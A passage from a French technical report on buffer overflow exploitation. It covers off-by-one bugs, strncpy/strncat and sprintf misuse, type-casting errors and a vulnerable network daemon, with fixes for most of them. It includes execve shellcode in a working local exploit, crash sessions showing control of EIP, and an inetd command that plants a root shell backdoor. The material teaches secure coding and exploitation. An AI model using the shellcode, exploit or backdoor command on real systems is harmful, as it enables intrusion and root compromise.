  1164. 13 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
  1165. \x89\xe1\x99\xb0\x0b\xcd\x80";
  1166. 14
  1167. 15 void main()
  1168. 16 {
  1169. 17 char *env[2] = {sc, NULL};
  1170. 18 char buf[BUFSIZE];
  1171. 19 int i;
  1172. 20 int *ap = (int *)(buf + ALIGNMENT);
  1173. 21 int ret = 0xbffffffa - strlen(sc) -
  1174. strlen("/home/ouah/vuln3");
  1175. 22
  1176. 23 for (i = 0; i < BUFSIZE -4; i += 4)
  1177. 24 *ap++ = ret;
  1178. 25 *ap = 0x22222222;
  1179. 26
  1180. 27 printf(" Poisoned NUL byte\n");
  1181. 28 printf(" Enjoy your shell!\n");
  1182. 29
  1183. 30 execle("/home/ouah/vuln3", "vuln3", buf, NULL, env);
  1184. 31 }
  1185. Maintenant compilons-le et exécutons-le :
  1186. ouah@weed:~$ make ex3
  1187. cc ex3.c -o ex3
  1188. ex3.c: In function `main':
  1189. ex3.c:16: warning: return type of `main' is not `int'
  1190. ouah@weed:~$ ./ex3
  1191. Poisoned NUL byte
  1192. Enjoy your shell!
  1193. sh-2.05$
  1194. Quelques remarques encore sur l’exploitation de tels bugs. Le fait que notre buffer
  1195. vulnérable était assez grand (1024 bytes) a facilité l’exploitation de notre programme
  1196. vulnérable. Si le saved frame pointeur a déjà dans le programme son dernier byte très
  1197. bas (exemple : 0xbfffff04), le décalage du à l’altération par un NULL byte est alors
  1198. très faible, ce qui laisse alors peu de chance pour le faire pointer dans un buffer que
  1199. nous contrôlons. C’est ce qui s’est produit pour la version RedHat 6.2 par défaut du
  1200. bug TSIG du serveur de nom bind. Le bug (un overflow) était exploitable compilé sur
  1201. RedHat depuis les sources mais la version rpm par défaut avait un frame pointer dont
  1202. le dernier byte était trop bas, ce qui rendait l’overflow inexploitable.
  1203. Il faut noter que ces bugs off-by-one sur des programmes compilés avec gcc seront
  1204. peut-être à l’avenir inexploitables. Les nouvelles versions 3.x de gcc (actuellement
  1205. 3.0.3) ajoutent un padding entre les variables locales et le frame pointer ce qui rend ce
  1206. dernier inaccessible à un off-by-one bug. Pour l’instant, ces versions 3.x ne sont pas
  1207. encore jugées assez stables et ne sont donc pas intégrées aux distributions Linux les
  1208. plus courantes. La distribution Red Hat utilise quant à elle (depuis Red Hat version 7)
  1209. ses propres versions 2.96 et 2.97 de gcc, qui n’existent même pas! Ces versions
  1210. 32/92
  1211. ajoutent aussi un padding, ce qui empêche l’exploitation de ce genre d’off-bye-one
  1212. overflow. Dans ce rapport, nous avons systématiquement utilisé le version la plus
  1213. stable de gcc, la versions 2.95.3.
  1214. 33/92
  1215. 6. Le piège des fonctions strn*()
  1216. “Truth may seem but cannot be”,
  1217. Shakespeare
  1218. Après avoir répété sans relâche aux programmeurs que les fonctions strcpy() et
  1219. strcat() étaient potentiellement dangereuses et susceptibles d'induire des
  1220. débordements de buffer, on a remarqué une prise de conscience de ces derniers qui
  1221. emploient maintenant de plus en plus leurs équivalents sécurisés strncpy() et strncat().
  1222. Ces fonctions nécessitent la spécification, via leur 3e argument, du nombre d'octets
  1223. maximum à copier afin d'éviter un débordement de buffer. Malheureusement, la
  1224. définition des ces fonctions n'est pas intuitive et trompe bon nombre de programmeurs
  1225. même confirmés.
  1226. Nous présentons plusieurs utilisations erronées de ces fonctions qui débouchent sur
  1227. des débordements de buffer exploitables, c'est-à-dire qui permettent l'exécution de
  1228. code arbitraire. Les méthodes d’exploitation sont les mêmes que celle dans les
  1229. chapitres précédents, nous ne reviendrons donc pas plus en détail sur les exploits de
  1230. ces programmes. Ceux-ci se trouvent en fin de ce rapport.
  1231. 6.1 Strncpy() non-null termination
  1232. Voici notre premier exemple de programme vulnérable :
  1233. 1 #include <string.h>
  1234. 2
  1235. 3 func(char *sm) {
  1236. 4 char buffer[12];
  1237. 5
  1238. 6 strcpy(buffer, sm);
  1239. 7 }
  1240. 8
  1241. 9 main(int argc, char *argv[])
  1242. 10 {
  1243. 11 char entry2[16];
  1244. 12 char entry1[8];
  1245. 13
  1246. 14 if (argc > 2) {
  1247. 15 strncpy(entry1, argv[1], sizeof(entry1));
  1248. 16 strncpy(entry2, argv[2], sizeof(entry2));
  1249. 17 func(entry1);
  1250. 18 }
  1251. 19 }
  1252. Notre programme place dans les buffers entry1[] et entry2[] les arguments argv[1] et
  1253. argv[2] de la ligne de commande du programme. Dans les deux cas, la fonction
  1254. strncpy() réalise la copie. La fonction func(), appelée en ligne 17, recopie le buffer
  1255. entry1[] d'une taille de 8 octets dans le tableau buffer[] propre à la fonction func() et
  1256. d'une taille de 12. Pourtant, ce programme est exploitable.
  1257. 34/92
  1258. ouah@templeball:~$ make vuln1
  1259. cc vuln1.c -o vuln1
  1260. ouah@templeball:~$ ./vuln1 BBBBBBBB AAAAAAAAAAAA
  1261. Segmentation fault (core dumped)
  1262. ouah@templeball:~$ gdb -c core -q
  1263. Core was generated by `./vuln1 BBBBBBBB AAAAAAAAAAAA'.
  1264. Program terminated with signal 11, Segmentation fault.
  1265. #0 0x41414141 in ?? ()
  1266. L'adresse de retour de la fonction func() a été écrasée par les valeurs ASCII "AAAA"
  1267. ce qui nous donne le contrôle sur %eip (le registre Instruction Pointer). Il s'agit donc
  1268. un classique débordement de buffer dans la pile, exploitable pour obtenir des droits
  1269. supplémentaires.
  1270. Certains peuvent arguer que la fonction func() aurait pu être codée différemment afin
  1271. de prévenir ce genre de situation mais en fait l'erreur est due à une mauvaise
  1272. utilisation de la fonction strncpy(). En effet, la page man (man 3 strncpy) nous indique
  1273. que strncpy() copie au maximum n octets (le 3e argument) du buffer source dans le
  1274. buffer de destination MAIS aussi que s'il n'y a pas de null byte (caractère indiquant la
  1275. fin d'une chaîne de caractère) dans ces n premiers octets, la fonction n'ajoute pas
  1276. d'elle-même ce null byte. La fonction strncpy() ne garantit donc pas que la chaîne soit
  1277. terminée par octet NULL.
  1278. Dans notre programme vulnérable, nos deux buffers entry1[] et entry2[] étant placés
  1279. de façon adjacente en mémoire, la fonction func() copie le buffer entry1[]+entry2[]
  1280. (au lieu de seulement entry1[], soit 8+16=24 octets au lieu des 12 prévus) dans le
  1281. tableau buffer[], ce qui provoque le débordement.
  1282. Dans le cas général, une utilisation correcte et sécurisée de la fonction strncpy() est
  1283. obtenue en ajoutant manuellement l'octet NULL dans le buffer destination.
  1284. strncpy(dest, src, sizeof(dest)-1);
  1285. dest[sizeof(dest)-1] = '\0';
  1286. Remarque : en fait il n'est pas nécessaire d'ajouter le '\0' manuellement si le buffer
  1287. dest est définit static ou a été alloué avec la fonction calloc() car le contenu de tels
  1288. buffers est mis à 0 lors de leur allocation. Il est cependant très conseillé de le faire
  1289. pour éviter des erreurs à la relecture du code.
  1290. Une des causes de la mauvaise compréhension des développeurs lors de l'emploi de
  1291. strncpy() et strncat() provient du fait que ces fonctions n'ont pas été conçues à
  1292. l'origine pour des questions de sécurité mais pour pouvoir simplement tronquer les
  1293. chaînes de caractères à copier, indépendamment de la taille du buffer de
  1294. destination. Dans ce contexte, il est évident que ces fonctions ne protègent plus du
  1295. tout des débordements de buffer. Par exemple, dans le cas de
  1296. strncpy(dest, src, n);
  1297. où n vaudrait sizeof[src] / 2. Cela ne rend que plus difficile l'audit de code.
  1298. 35/92
  1299. 6.2 Strncat() poisoned NULL byte
  1300. Pour ajouter encore à la mauvaise compréhension des fonctions strncpy() et strncat(),
  1301. celles-ci fonctionnent différemment. La fonction strncat() place toujours un null byte
  1302. à la fin du buffer destination. L'utilisation fréquente de valeurs dynamiques pour la
  1303. longueur à copier dans le 3e argument de strncat() augmente les risques d'erreurs.
  1304. Notre deuxième programme vulnérable illustre une telle situation et débouche
  1305. également sur un débordement.
  1306. 1 #include <stdio.h>
  1307. 2 #include <string.h>
  1308. 3
  1309. 4 func(char *sm) {
  1310. 5 char buffer[128]="kab00m!!";
  1311. 6 char entry[1024];
  1312. 7
  1313. 8 strncpy(entry, sm, sizeof(entry)-1);
  1314. 9 entry[sizeof(entry)-1] = '\0';
  1315. 10
  1316. 11 strncat(buffer, entry, sizeof(buffer)-
  1317. strlen(buffer));
  1318. 12
  1319. 13 printf ("%s\n", buffer);
  1320. 14 }
  1321. 15
  1322. 16 main(int argc, char *argv[])
  1323. 17 {
  1324. 18
  1325. 19 if (argc > 1) func(argv[1]);
  1326. 20
  1327. 21 }
  1328. A la ligne 11, le contenu du premier argument de la ligne de commande est concaténé
  1329. au tableau buffer[] puis le résultat est affiché à la ligne 13. On a bien pris garde avec
  1330. la fonction strncat() de ne pas concaténer plus de d'octets qu'il n'en reste dans le
  1331. tableau buffer[]. Et pourtant :
  1332. ouah@templeball:~$ make vuln2
  1333. cc vuln2.c -o vuln2
  1334. ouah@templeball:~$ ./vuln2 `perl -e 'print "A"x120'`
  1335. kab00m!!AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1336. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1337. Segmentation fault (core dumped)
  1338. ouah@templeball:~$ gdb -c core -q
  1339. Core was generated by `./vuln2
  1340. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  1341. AAAAAAA'.
  1342. Program terminated with signal 11, Segmentation fault.
  1343. #0 0x41414141 in ?? ()
  1344. En fait, si un octet NULL est toujours ajouté avec la fonction strncat(), il ne faut pas
  1345. le comptabiliser dans la longueur spécifiée !
  1346. Dans notre programme, la conséquence est que si l'on tente de concaténer trop
  1347. d'octets, un octet NULL est ajouté un octet trop loin, soit après notre buffer. Il s'agit
  1348. donc d'un cas d'off-by-one overfow. Cet octet supplémentaire écrase le dernier octet
  1349. 36/92
  1350. (puisque l'architecture x86 fonctionne en Little Endian) du frame pointer %ebp
  1351. sauvegardé. En effet, le tableau buffer[] étant défini en premier dans la fonction, il est
  1352. donc ajouté dans la frame juste dessus le pointeur de frame %ebp. Nous avons vu au
  1353. chapitre 5 comment il est possible d’exploiter un tel programme,
  1354. L'utilisation correcte de strncat() est donc de la forme :
  1355. strncat(dest, src, sizeof(dest)-strlen(dest)-1);
  1356. afin de prendre un compte cet octet NULL et ainsi éviter qu'il ne tombe en dehors du
  1357. buffer destination.
  1358. 6.3 Erreur de type casting avec la fonction strncat()
  1359. Les deux programmes vulnérables précédents montraient les cas les plus fréquents de
  1360. manipulation incorrecte des fonctions strncpy() et strncat(). Notre troisième de
  1361. programme, un peu plus farfelu, montre une erreur de type "transtypage" (casting) qui
  1362. conduit à un débordement de buffer et dont la fonction strncat() est le
  1363. vecteur d'attaque.
  1364. 1 #include <stdio.h>
  1365. 2 #include <string.h>
  1366. 3
  1367. 4 func(char *domain) {
  1368. 5 int len = domain[0];
  1369. 6 char buff[64];
  1370. 7
  1371. 8 buff[0] = '\0';
  1372. 9
  1373. 10 if (len >= 64) {
  1374. 11 fprintf (stderr, "Overflow attempt
  1375. detected!\n");
  1376. 12 return;
  1377. 13 }
  1378. 14
  1379. 15 strncat(buff, &domain[1], len);
  1380. 16 }
  1381. 17
  1382. 18 main(int argc, char *argv[])
  1383. 19 {
  1384. 20
  1385. 21 if (argc > 1) func(argv[1]);
  1386. 22
  1387. 23 }
  1388. Ici encore, l'argument de la ligne de commande est copié dans un buffer. Le premier
  1389. octet de l'argument indique le nombre d'octets maximum à copier. A la ligne 10, on
  1390. teste si la valeur de cet octet est supérieure ou égale (on se rappelle de l'octet NULL
  1391. de strncat()) à la taille du buffer (64), auquel cas on sort de la fonction afin d'éviter un
  1392. débordement de buffer. Testons notre programme avec une valeur inférieure à 64 (3F
  1393. en hexa correspond à 63 en décimal).
  1394. ouah@templeball:~$ gcc -g vuln3.c -o vuln3
  1395. ouah@templeball:~$ ./vuln3 `printf "\x3F"``perl -e 'print "A"x76'`
  1396. 37/92
  1397. ouah@templeball:~$
  1398. Tout se passe correctement. Essayons maintenant de provoquer le débordement avec
  1399. la valeur 64 (0x40) :
  1400. ouah@templeball:~$ ./vuln3 `printf "\x40"``perl -e 'print "A"x76'`
  1401. Overflow attempt detected!
  1402. Notre programme paraît à première vue sécurisé mais il ne l'est pas. Il comporte une
  1403. faille liée au type de la variable len. Voyons tout d'abord le prototype de la
  1404. fonction strncat() :
  1405. char *strncat(char *dest, const char *src, size_t n);
  1406. On remarque que la longueur n est de type size_t. Ce type est en fait équivalent au
  1407. type unsigned int. Dans notre programme, à la ligne 5 nous mettons le premier octet
  1408. de l'argument (de type char) dans la variable len (de type int). Le type char et le type
  1409. int sont tous les deux des types signés. Le type char, dont la taille est d'un octet, prend
  1410. ainsi ses valeur positives de 0x00 à 0x7F (127) et ses valeurs négatives de 0xFF (-1) à
  1411. 0x80 (-128). Lorsque domain[0] est supérieur à 0x7F il est vu comme un entier
  1412. négatif. Lors de son affectation dans la variable len, il est alors étendu (les 24
  1413. premiers bits sont mis à 1) pour devenir un int négatif. Étant négatif, il contourne le
  1414. test de la ligne 9. Toutefois comme, le 3e argument de la fonction est de type size_t
  1415. qui est non-signé, il est alors considéré comme un nombre positif : à cause des bits
  1416. mis à 1, il devient soudainement un nombre extrêmement grand !
  1417. Sachant cela, re-testons notre programme avec une valeur adéquate :
  1418. ouah@templeball:~$ ./vuln3 `printf "\x80"``perl -e 'print "A"x76'`
  1419. Segmentation fault (core dumped)
  1420. ouah@templeball:~$ gdb vuln3 -q
  1421. (gdb) l func
  1422. 1 #include <stdio.h>
  1423. 2 #include <string.h>
  1424. 3
  1425. 4 func(char *domain) {
  1426. 5 int len = domain[0];
  1427. 6 char buff[64];
  1428. 7
  1429. 8 buff[0] = '\0';
  1430. 9
  1431. 10 if (len >= 64) {
  1432. (gdb) b 6
  1433. Breakpoint 1 at 0x804845f: file vuln3.c, line 6.
  1434. (gdb) r `printf "\x80"``perl -e 'print "A"x76'`
  1435. Starting program: /home/ouah/vuln3 `printf "\x80"``perl -e 'print
  1436. "A"x76'`
  1437. Breakpoint 1, func (domain=0xbffffb06 "\200", 'A' ) at vuln3.c:8
  1438. 8 buff[0] = '\0';
  1439. (gdb) p/x len
  1440. $1 = 0xffffff80
  1441. (gdb) p/u len
  1442. $2 = 4294967168
  1443. (gdb) c
  1444. Continuing.
  1445. 38/92
  1446. Program received signal SIGSEGV, Segmentation fault.
  1447. 0x41414141 in ?? ()
  1448. Ce programme est exploitable car malgré une très grande valeur du 3ème argument de
  1449. strncat(), la fonction strncat() s'arrête de copier dès la fin de la chaîne de caractères
  1450. src. Cela n'est pas le cas de la fonction strncpy() qui continue à remplir de 0 le buffer
  1451. destination, si la taille de la chaîne source est plus petite que n.
  1452. Notre programme aurait été ainsi inexploitable si nous avions utilisé cette fonction à
  1453. la place de strncat() car à force de copier près de 4 Go de données depuis la pile,
  1454. strncpy() aurait voulu écrire dans la mémoire du noyau provoquant une segfault (ce
  1455. qui constitue quand même un risque de Déni de Service en faisant planter
  1456. l'application).
  1457. Il y a plusieurs façons d'éviter cette erreur de type, par exemple en faisait une
  1458. conversion de type de domain[0] à unsigned avant l'affectation de la ligne 5, en
  1459. définissant len comme unsigned ou encore en changeant le type de domain dans la
  1460. définition de la fonction func() pour mettre unsigned char.
  1461. La présence d'un tel bogue peut paraître hautement improbable et artificielle pourtant
  1462. il s'était manifesté dans le programme Antisniff d'Atstake dont nous nous sommes
  1463. inspiré pour écrire notre exemple. Les bogues de type casting sont souvent difficiles à
  1464. détecter, même lors d'audits manuels de code par des spécialistes.
  1465. Le bogue deattack de SSHD révélé en février 2001, et qui conduisait à une
  1466. exploitation donnant un accès root à distance, était aussi dû à une erreur de typage (il
  1467. ne mettait toutefois pas en cause les fonctions strncpy() et strncat()). L'affectation d'un
  1468. entier non-signé 32 bits à un entier non-signé 16 bits (on parle alors d'integer
  1469. overflow) permettait de modifier l'index d'une table dans laquelle des valeurs étaient
  1470. écrites pour cibler des endroits non-autorisés dans la mémoire.
  1471. 6.4 Variations de ces vulnérabilités
  1472. Comme toujours avec les débordements de buffer, les variations sont nombreuses et
  1473. souvent subtiles. Notre dernier exemple est une variation de l'erreur commise avec
  1474. strncpy() dans notre premier programme vulnérable. Il combine aussi le fait que,
  1475. comme nous l'avons montré dans la section précédente, le dernier argument des
  1476. fonctions strncat() est de type size_t.
  1477. 1 #include <string.h>
  1478. 2 #include <stdio.h>
  1479. 3
  1480. 4 main(int argc, char *argv[]){
  1481. 5 int i = 5;
  1482. 6 char dest[8];
  1483. 7
  1484. 8 if (argc > 2) {
  1485. 9 strncpy(dest, argv[1], sizeof(dest));
  1486. 10 strncat(dest, argv[2], sizeof(dest)-strlen(dest)-1);
  1487. 11 printf("Valeur de i: %08x\n", i);
  1488. 12 }
  1489. 13 }
  1490. 39/92
  1491. Ce programme concatène les deux premiers arguments de la ligne commande dans le
  1492. buffer dest[] et sort en affichant le contenu de la variable i. A la ligne 9, le
  1493. programmeur a de nouveau mal utilisé la fonction strncpy() tandis qu'il emploie
  1494. correctement strncat() à la ligne 10. Exécutons le programme normalement :
  1495. ouah@templeball:~$ make vuln4
  1496. cc vuln4.c -o vuln4
  1497. ouah@templeball:~$ ./vuln4 BBBBBBB AAAAAAAAAAA
  1498. Valeur de i: 00000005
  1499. Maintenant, exécutons le programme avec un premier argument de longueur 8 de telle
  1500. sorte que strncpy() ne termine pas la chaîne de caractères par un octet NULL.
  1501. ouah@templeball:~$ ./vuln4 BBBBBBBB AAAAAAAAAAA
  1502. Valeur de i: 41414105
  1503. Segmentation fault (core dumped)
  1504. En fait, les octets NULL de la variable i (32 bits) servent de terminaison pour la
  1505. chaîne de caractères placée dans le buffer dest[]. A la ligne 10, strlen(dest)
  1506. devenant alors plus grand que sizeof(dest), la valeur sizeof(dest)-strlen(dest)-1 devient
  1507. négative. Ainsi que dans notre programme vulnérable précédent, le dernier
  1508. argument de strncat(), qui est de type size_t, prend alors une valeur énorme : strncat()
  1509. adopte le même comportement qu'un simple strcat().
  1510. ouah@templeball:~$ gdb -c core -q
  1511. Core was generated by `./vuln4 BBBBBBBB AAAAAAAAAAA'.
  1512. Program terminated with signal 11, Segmentation fault.
  1513. #0 0x41414141 in ?? ()
  1514. Cette fois encore, en écrasant la valeur de retour de main(), le programme est
  1515. exploitable.
  1516. 40/92
  1517. 7. La famille des fonctions *scanf() et *sprintf()
  1518. “A false sense of security, is
  1519. worst than insecurity”,
  1520. Steve Gibson
  1521. 7.1 Erreurs sur la taille maximale
  1522. La famille des fonctions scanf() est davantage connue pour les risques de format bugs
  1523. dans leur utilisation. Cependant, comme les format bugs ne font pas partie de la classe
  1524. des buffers overflows et bien que certaines méthodes d’exploitation des format bugs
  1525. soit proche de celle des buffer overflow, et il ne sera pas question de cela dans ce
  1526. chapitre.
  1527. Evidemment, pour la plupart des fonctions de la famille scanf(), si on ne teste pas la
  1528. longueur de la string à copier il y a le même risque de buffer overflow que pour les
  1529. fonctions strcpy() et strcat(). Par exemple, les utilisations suivantes de ces fonctions
  1530. sont toutes dangereuses :
  1531. scanf("%s", dest);
  1532. sprintf(dest, "%s", source);
  1533. Pour remédier à ce problème, une taille limite peut être indiquée pour la format string
  1534. dans le format tag. Pour les strings des fonctions *scanf(), cela se fait en plaçant un
  1535. format tag de cette manière %<taille>s.
  1536. Malheureusement, une fois de plus, les programmeurs ont des quelques problèmes
  1537. quand il s’agit de comptabiliser ou non le byte NULL qui termine les strings. Dans le
  1538. cas de ces fonctions, il ne faut pas comptabiliser le ce dernier byte !
  1539. Voici un exemple d’erreur où le programmeur croyait éviter un buffer overflow. Cet
  1540. exemple est inspiré du récent bug découvert dans le daemon CVSd.
  1541. char buf[16];
  1542. int i ;
  1543. sscanf(data, "%16s", buf);
  1544. Ce morceau de code est vulnérable à un one byte overflow. Le programme n’aurait du
  1545. comptabiliser le NULL terminator de la string et utiliser un tag "%15s" pour éviter le
  1546. buffer overflow.
  1547. Un autre risque de confusion est que, pour fixer la taille limite des strings des
  1548. fonctions *sprintf(), il faut par contre utiliser le paramètre de précision dans le format
  1549. tag, soit %.<taille>s. Pour les fonctions *sprintf(), le format tag %<taille>s
  1550. indique une taille minimale et est donc complètement sans valeur pour prévenir un
  1551. buffer overflow.
  1552. 41/92
  1553. Nous montrons ici pour sprintf() deux utilisations qui ne préviennent pas des buffer
  1554. overflows :
  1555. char buf[BUF_SIZE];
  1556. sprintf(buf, "%.*s", sizeof(buf), "une-grande-string");
  1557. Le caractère * permet de passer la taille maximum en paramètre. Il s’agit donc de la
  1558. même utilisation erronée que celle que nous avons montré pour scanf(). En voici une
  1559. autre :
  1560. char buf[BUF_SIZE];
  1561. sprintf(buf, "%*s", sizeof(buf)-1, "une-grande-string");
  1562. Ici nous n’avons omis le . dans le format tag. L’utilisation correcte serait donc de la
  1563. forme :
  1564. char buf[BUF_SIZE];
  1565. sprintf(buf, "%.*s", sizeof(buf)-1, "une-grande-string");
  1566. 7.2 Le cas de snprintf()
  1567. Une autre manière, de contrôler la taille du buffer à copier pour la fonction sprintf()
  1568. est d’utiliser son homologue sécurisé snprintf(). Cette fonction permet de passer en
  1569. deuxième paramètre la taille maximale à copier. Toutefois, cette fonction souffre de
  1570. quelques problèmes.
  1571. Le problème principal de snprintf() est qu'elle n'est pas une fonction C standart. Elle
  1572. n'est pas définie dans le standart ISO 1990 (ANSI 1989) comme l'est sa cousine
  1573. sprintf(). Ainsi, pas toutes les implémentations choisissent les mêmes conventions.
  1574. Certains vieux systèmes par exemple appellent ainsi directement sprintf() quand ils
  1575. rencontrent une fonction snprintf()! Ce fut le cas par exemple de l'ancienne libc4 de
  1576. Linux ou dans des vieilles versions du système d'exploitation HP-UX. Dans ces cas,
  1577. on croit contôler l'apparition de buffers overflows alors que le programme reste
  1578. vulnérable à l'exploitation de ces overflows. Dans certains systèmes, snprintf() n'est
  1579. même pas définie. De plus, certaines versions de snprintf() n'ont pas le même usage
  1580. suivant le système où elles sont définies: certaines implémentations, comme pour
  1581. strncpy(), ne garantiraient pas une null-termination.
  1582. Enfin, la valeur de retour n’est pas la même pour toutes les implémentations.
  1583. Certaines vieilles versions retournent ainsi –1 si la string à copier a du être tronquée
  1584. après avoir dépassé la taille maximale spécifiée alors les autres, conformément au
  1585. standart C99, retournent le nombre d’octet qui aurait du être copié dans la chaîne
  1586. finale s’il y avait d’espace disponible.
  1587. 7.3 Exemples d’erreurs de patch d’un overflow
  1588. 42/92
  1589. Pourquoi parler de patch quand on s’intéresse à l’exploitation des buffer overflows ?
  1590. Il se trouve en fait que certains programmeurs remarquent une situation d’overflow et
  1591. tentent de la prévenir mais en le faisant de manière erronée laisse le programme
  1592. toujours exploitable. Ceci est par exemple le cas lors des utilisations erronées des
  1593. fonctions strncpy()/strncat() ou de celle des fonctions des familles scanf() et sprintf()
  1594. dont nous avons parlé dans les chapitres précédents.
  1595. Nous montrons ici deux exemples de programmes qui tentent de prévenir un overflow
  1596. mais échouent à cause d’erreurs de conception.
  1597. L’exemple qui suit, trouvé au hasard d’un audite de code, est élogieux en la matière :
  1598. char dest[BUF_SIZE] ;
  1599. strcpy(dest, source);
  1600. if (strlen(dest) >= BUF_SIZE) {
  1601. /* gestion de l’erreur*/
  1602. Le programmeur tente donc de faire récupérer la face au programme après un
  1603. overflow. C’est une erreur grave. En effet, cela n’empêche en rien le programme
  1604. d’être toujours exploitable. Même un appel direct à exit() pour gérér l’erreur est
  1605. inapproprié, car dans certains cela n’empêcherait pas l’exploitabilité de l’overflow. La
  1606. meilleure solution ici reste donc d’utilister une fonction comme strncpy().
  1607. Quelques fois certains programmeurs qui utilisent les fonctions strcpy() ou sprintf(),
  1608. testent directement la longueur de la string source avant la copie pour gérer l’erreur en
  1609. cas d’overfow.
  1610. char dest[BUF_SIZE] ;
  1611. if (strlen(dest) > BUF_SIZE) {
  1612. /* gestion de l’erreur*/
  1613. }
  1614. strcpy(dest, source);
  1615. Là le programmeur oublie de comptabiliser le byte NULL lors de la comparaison et
  1616. son inégalité n’est donc pas complète. Il fallait utilisait un >= au lieu de l’inégalité
  1617. stricte.
  1618. 43/92
  1619. 8. Remote exploitation
  1620. « Il n'y a rien de plus beau qu'une
  1621. clef, tant qu'on ne sait pas ce
  1622. qu'elle ouvre »,
  1623. Maurice Maeterlinick
  1624. Dans les chapitres précédents nous avons parlé de stack overflows et mais nous
  1625. sommes focalisés sur des programmes tournant en local. On peut se demande à juste
  1626. titre ce qu’il en est de l’exploitation de buffer overflows qui ont lieu sur des daemons
  1627. ou des programmes serveurs et quels sont les différences par rapport à une
  1628. exploitation en locale. Pour ce chapitre nous utiliserons un programme serveur
  1629. minimal qui contient un overflow.
  1630. Voici notre programme serveur vulnérable :
  1631. 1 #include <stdio.h>
  1632. 2 #include <netdb.h>
  1633. 3 #include <netinet/in.h>
  1634. 4
  1635. 5 #define BUFFER_SIZE 1024
  1636. 6 #define NAME_SIZE 2048
  1637. 7 #define PORT 1234
  1638. 8
  1639. 9 int handling(int c)
  1640. 10 {
  1641. 11 char buffer[BUFFER_SIZE], name[NAME_SIZE];
  1642. 12 int bytes;
  1643. 13
  1644. 14 strcpy(buffer, "My name is: ");
  1645. 15 bytes = send(c, buffer, strlen(buffer), 0);
  1646. 16 if (bytes < 0) return -1;
  1647. 17
  1648. 18 bytes = recv(c, name, sizeof(name), 0);
  1649. 19
  1650. 20 if (bytes < 0) return -1;
  1651. 21
  1652. 22 name[bytes - 1] = 0;
  1653. 23 sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
  1654. 24 bytes = send(c, buffer, strlen(buffer), 0);
  1655. 25
  1656. 26 if (bytes < 0) return -1;
  1657. 27
  1658. 28 return 0;
  1659. 29 }
  1660. 30
  1661. 31 int main(int argc, char *argv[])
  1662. 32 {
  1663. 33 int s, c, cli_size;
  1664. 34 struct sockaddr_in srv, cli;
  1665. 35
  1666. 36 if ((s = socket(AF_INET, SOCK_STREAM, 0))<0){
  1667. 37 perror("socket() failed");
  1668. 38 return 2;
  1669. 39 }
  1670. 44/92
  1671. 40 srv.sin_addr.s_addr = INADDR_ANY;
  1672. 41 srv.sin_port = htons(PORT);
  1673. 42 srv.sin_family = AF_INET;
  1674. 43
  1675. 44 if (bind(s, &srv, sizeof(srv)) < 0)
  1676. 45 {
  1677. 46 perror("bind() failed");
  1678. 47 return 3;
  1679. 48 }
  1680. 49
  1681. 50 if (listen(s, 3) < 0)
  1682. 51 {
  1683. 52 perror("listen() failed");
  1684. 53 return 4;
  1685. 54 }
  1686. 55
  1687. 56 for(;;){
  1688. 57
  1689. 58 c = accept(s, &cli, &cli_size);
  1690. 59
  1691. 60 if (c < 0){
  1692. 61 perror("accept() failed");
  1693. 62 return 5;
  1694. 63 }
  1695. 64
  1696. 65 printf("client from %s", inet_ntoa(cli.sin_addr));
  1697. 66 if (handling(c) < 0)
  1698. 67 fprintf(stderr, "%s: handling() failed", argv[0]);
  1699. 68 close(c);
  1700. 69 }
  1701. 70 return 0;
  1702. 71 }
  1703. Ce programme ouvre une socket sur le port 1234 puis attend la connexion d’un client.
  1704. ouah@weed:~/remote$ make vuln8
  1705. cc vuln8.c -o vuln8
  1706. ouah@weed:~/remote$ ./vuln8 &
  1707. [1] 7873
  1708. ouah@weed:~/remote$ netstat -an | grep 1234
  1709. tcp 0 0 0.0.0.0:1234 0.0.0.0:*
  1710. LISTEN
  1711. ouah@weed:~/remote$
  1712. Quand un client se connecte à lui, il lui demande une chaîne de caractères qu’il va
  1713. ensuite recopier dans un buffer.
  1714. ouah@weed:~/remote$ ./nc localhost 1234
  1715. My name is: OUAH
  1716. Hello OUAH, nice to meet you!
  1717. ouah@weed:~/remote$
  1718. On voit toutefois à la ligne 23 qu’il utilise la fonction sprintf() pour copier la string
  1719. dans le buffer et ne fait aucune vérification sur la longueur la chaîne qui est le buffer
  1720. name. Le buffer peut donc être overflower si on lui passe une chaîne de caractères
  1721. trop longue. On a donc ici un programme très semblable à nos premiers exemples en
  1722. local sinon que c’est un daemon.
  1723. 45/92
  1724. Regardons ce qu’il se passe si nous lui envoyons une chaîne de caractères plus grande
  1725. que le buffer qui va l’accueillir :
  1726. ouah@weed:~/remote$ perl -e 'print "A"x1050' | ./nc localhost 1234
  1727. My name is: ouah@weed:~/remote$
  1728. Du coté du serveur nous voyons :
  1729. [1]+ Segmentation fault ./vuln8
  1730. Nous avons ainsi pu facilement faire crasher notre serveur, ce qui s’appelle un DoS
  1731. (Denial Of Service) car notre serveur ne peut plus répondre aux demandes de
  1732. connexion et les traiter. C’est un premier résultat déjà intéressant pour les hackers
  1733. mais ce que nous voulons c’est exécuter du code à distance sans avoir un accès à la
  1734. machine mais uniquement grâce à l’accès à ce service.
  1735. L’exploit que nous allons créer pour ce programme vulnérable devra bien sûr se
  1736. connecter au socket et lui envoyer un code malicieux. Malheureusement le problème
  1737. est que si nous lui envoyons un payload composé comme précédemment seulement
  1738. d’un shellcode execve pour obtenir un shell interactif, cela ne suffira pas. En effet, le
  1739. shell sera inutilisable car à cause de la réutilisation de la socket nous perdrons les file
  1740. descriptors 0, 1 et 2 (stdin, stdout et stderr) du shell. Une première solution serait
  1741. d’utiliser un cmdshellcode qui nous permettrait au lancement de spécifier une
  1742. commande du coté serveur pour obtenir un accès root à la machine : exemple en
  1743. ajoutant ”+ +” au fichier .rhosts de root exemple, en ajoutant un user normal
  1744. et un user root au fichier passwd ou comme cela est le plus souvent vu avec ce genre
  1745. de shellcode :
  1746. echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >> /tmp/bob ;
  1747. /usr/sbin/inetd -s /tmp/bob
  1748. Cette commande permet d’ajouter facilemet un shell root dans les services gérés par
  1749. inetd (ingreslock est défini dans /etc/services)..
